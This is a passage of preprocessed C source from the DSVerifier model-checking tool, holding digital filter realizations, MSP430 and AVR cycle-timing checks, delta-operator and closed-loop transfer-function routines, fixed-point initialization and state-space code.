w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
double double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
float float_direct_form_1(float y[], float x[], float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
float float_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
float float_transposed_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
double double_direct_form_1_MSP430(double y[], double x[], double a[], double b[], int Na, int Nb){
int timer1 = 0;
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
int i, j;
timer1 += 91;
for (i = 0; i < Nb; i++){
sum += *b_ptr++ * *x_ptr--;
timer1 += 47;
}
for (j = 1; j < Na; j++){
sum -= *a_ptr++ * *y_ptr--;
timer1 += 57;
}
timer1 += 3;
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 235, __extension__ __PRETTY_FUNCTION__); }))
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 262, __extension__ __PRETTY_FUNCTION__); }))
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_transposed_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 291, __extension__ __PRETTY_FUNCTION__); }))
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return yout;
}
double generic_timing_double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb){
generic_timer += ((6 * hw.assembly.push) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (12 * hw.assembly.std));
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
generic_timer += ((12 * hw.assembly.std) + (12 * hw.assembly.ldd) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (1 * hw.assembly.adiw));
int i, j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < Nb; i++){
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.sbc) + (10 * hw.assembly.std) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum += *b_ptr++ * *x_ptr--;
}
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++){
generic_timer += ((22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (8 * hw.assembly.std) + (1 * hw.assembly.sbci) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.sbc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum -= *a_ptr++ * *y_ptr--;
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (6 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
generic_timer += ((10 * hw.assembly.std) + (6 * hw.assembly.ldd) + (2 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
generic_timer += ((23 * hw.assembly.ldd) + (32 * hw.assembly.mov) + (9 * hw.assembly.std) + (2 * hw.assembly.subi) + (3 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (2 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge));
}
w[0] += x;
w_ptr = &w[0];
generic_timer += ((13 * hw.assembly.ldd) + (12 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.st) + (1 * hw.assembly.ld) + (1 * hw.assembly.rcall));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (10 * hw.assembly.std) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (8 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
generic_timer += ((15 * hw.assembly.std) + (22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.brge) + (1 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
generic_timer += ((70 * hw.assembly.mov) + (65 * hw.assembly.ldd) + (12 * hw.assembly.lsl) + (12 * hw.assembly.rol) + (15 * hw.assembly.std) + (6 * hw.assembly.add) + (6 * hw.assembly.adc) + (2 * hw.assembly.adiw) + (3 * hw.assembly.cpc) + (3 * hw.assembly.cp) + (5 * hw.assembly.ld) + (4 * hw.assembly.rcall) + (5 * hw.assembly.subi) + (3 * hw.assembly.rjmp) + (2 * hw.assembly.brlt) + (3 * hw.assembly.st) + (2 * hw.assembly.sbci) + (3 * hw.assembly.sbc) + (1 * hw.assembly.brge));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (8 * hw.assembly.pop) + (3 * hw.assembly.out) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (1 * hw.assembly.adiw) + (1 * hw.assembly.ret));
return yout;
}
void double_direct_form_1_impl2(double x[], int x_size, double b[], int b_size, double a[], int a_size, double y[]){
int i = 0; int j = 0;
double v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = v[i] + x[i-j] * b[j];
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = y[i] + v[i];
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = y[i] + y[i-j] * ((-1) * a[j]);
}
}
}
void fxp_direct_form_1_impl2(fxp_t x[], int x_size, fxp_t b[], int b_size, fxp_t a[], int a_size, fxp_t y[]){
int i = 0; int j = 0;
fxp_t v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = fxp_add(v[i], fxp_mult(x[i-j], b[j]));
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = fxp_add(y[i], v[i]);
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = fxp_add(y[i], fxp_mult(y[i-j] , -a[j]));
}
}
}
# 26 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h"
# 1 "/usr/include/assert.h" 1 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
int nchoosek(int n, int k){
if (k == 0)
return 1;
return (n * nchoosek(n - 1, k - 1)) / k;
}
void generate_delta_coefficients(double vetor[], double out[], int n, double delta){
int i,j;
int N = n - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + vetor[j]*nchoosek(N-j,i-j);
}
out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
}
void get_delta_transfer_function(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
generate_delta_coefficients(b, b_out, b_size, delta);
generate_delta_coefficients(a, a_out, a_size, delta);
}
void get_delta_transfer_function_with_base(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
int i,j;
int N = a_size - 1;
int M = b_size - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + a[j]*nchoosek(N-j,i-j);
}
a_out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
for(i=0; i<=M; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + b[j]*nchoosek(M-j,i-j);
}
b_out[i] = internal_pow(delta,M-i)*sum_delta_operator;
}
}
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h" 1
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h"
void ft_closedloop_series(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_num + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1 ;
double den_mult [Nans_den];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, ans_num, Nans_num);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den );
poly_sum(ans_num, Nans_num , den_mult, Nans_den , ans_den, Nans_den);
}
void ft_closedloop_sensitivity(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
int Nans_num_p = Nc_num + Nmodel_num-1;
Nans_den = Nc_den + Nmodel_den-1;
Nans_num = Nc_den + Nmodel_den-1;
double num_mult [Nans_num_p];
poly_mult(c_den, Nc_den, model_den, Nmodel_den, ans_num, Nans_num);
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nans_num_p);
poly_sum(ans_num, Nans_num, num_mult, Nans_num_p, ans_den, Nans_den);
}
void ft_closedloop_feedback(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_den + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1;
int Nnum_mult = Nc_num + Nmodel_num - 1;
double den_mult [Nans_den];
double num_mult [Nnum_mult];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nnum_mult);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den);
poly_sum(num_mult, Nnum_mult, den_mult, Nans_den, ans_den, Nans_den);
poly_mult(c_den, Nc_den, model_num, Nmodel_num, ans_num, Nans_num);
}
int check_stability_closedloop(double a[], int n, double plant_num[], int p_num_size, double plant_den[], int p_den_size){
int columns = n;
double m[2 * n - 1][n];
int i,j;
int first_is_positive = 0;
double * p_num = plant_num;
double * p_den = plant_den;
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
__DSVERIFIER_assert(sum > 0);
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
__DSVERIFIER_assert(sum > 0);
__DSVERIFIER_assert(internal_abs(a[n-1]) < a[0]);
for (i=0; i < 2 * n - 1; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
__DSVERIFIER_assert(m[i-2][0] > 0);
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
__DSVERIFIER_assert((m[0][0] >= 0) && (m[i][0] >= 0));
}
}
}
return 1;
}
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
extern digital_system ds;
extern digital_system plant;
extern digital_system control;
extern implementation impl;
extern filter_parameters filter;
extern hardware hw;
void initialization(){
if (impl.frac_bits >= 32){
printf("impl.frac_bits must be less than word width!\n");
}
if (impl.int_bits >= 32 - impl.frac_bits){
printf("impl.int_bits must be less than word width subtracted by precision!\n");
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
((void) sizeof ((
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ; else __assert_fail (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
"0"
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h", 33, __extension__ __PRETTY_FUNCTION__); }))
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
;
}
if(impl.frac_bits >= 31){
_fxp_one = 0x7fffffff;
}else{
_fxp_one = (0x00000001 << impl.frac_bits);
}
_fxp_half = (0x00000001 << (impl.frac_bits - 1));
_fxp_minus_one = -(0x00000001 << impl.frac_bits);
_fxp_min = -(0x00000001 << (impl.frac_bits + impl.int_bits - 1));
_fxp_max = (0x00000001 << (impl.frac_bits + impl.int_bits - 1)) - 1;
_fxp_fmask = ((((int32_t) 1) << impl.frac_bits) - 1);
_fxp_imask = ((0x80000000) >> (32 - impl.frac_bits - 1));
_dbl_min = _fxp_min;
_dbl_min /= (1 << impl.frac_bits);
_dbl_max = _fxp_max;
_dbl_max /= (1 << impl.frac_bits);
if ((impl.scale == 0) || (impl.scale == 1)){
impl.scale = 1;
return;
}
if (impl.min != 0){
impl.min = impl.min / impl.scale;
}
if (impl.max != 0){
impl.max = impl.max / impl.scale;
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
}
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h"
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
double double_state_space_representation(void){
double result1[4][4];
double result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
return _controller.outputs[0][0];
}
double fxp_state_space_representation(void){
fxp_t result1[4][4];
fxp_t result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t D_fpx[4][4];
fxp_t states_fpx[4][4];
fxp_t inputs_fpx[4][4];
fxp_t outputs_fpx[4][4];
for(i=0; i<4;i++){
for(j=0; j<4;j++){
A_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
B_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
C_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
D_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
states_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
inputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
D_fpx[i][j]= fxp_double_to_fxp(_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
states_fpx[i][j]= fxp_double_to_fxp(_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
inputs_fpx[i][j]= fxp_double_to_fxp(_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]= fxp_double_to_fxp(_controller.outputs[i][j]);
}
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,C_fpx,states_fpx,result1);
fxp_matrix_multiplication(nOutputs,nInputs,nInputs,1,D_fpx,inputs_fpx,result2);
fxp_add_matrix(nOutputs,
1,
result1,
result2,
outputs_fpx);
fxp_matrix_multiplication(nStates,nStates,nStates,1,A_fpx,states_fpx,result1);
fxp_matrix_multiplication(nStates,nInputs,nInputs,1,B_fpx,inputs_fpx,result2);
fxp_add_matrix(nStates,
1,
result1,
result2,
states_fpx);
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= fxp_to_double(states_fpx[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j]= fxp_to_double(outputs_fpx[i][j]);
}
}
return _controller.outputs[0][0];
}
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h"
double sinTyl(double x, int precision){
double sine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
sine = aux;
if (precision >= 1)
{
aux = x;
sine += aux;
if (precision >= 2)
{
aux = aux*xsquared;
sine -= aux/6;
if (precision >= 3)
{
aux = aux*xsquared;
sine +=aux/120;
if(precision >=4)
{
aux = aux*xsquared;
sine -=aux/5040;
if(precision >= 5)
{
aux = aux*xsquared;
sine +=aux/362880;
if(precision >= 6)
{
aux = aux*xsquared;
sine -=aux/39916800;
if (precision >= 7)
printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return sine;
}
double cosTyl(double x, int precision){
double cosine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function cosTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
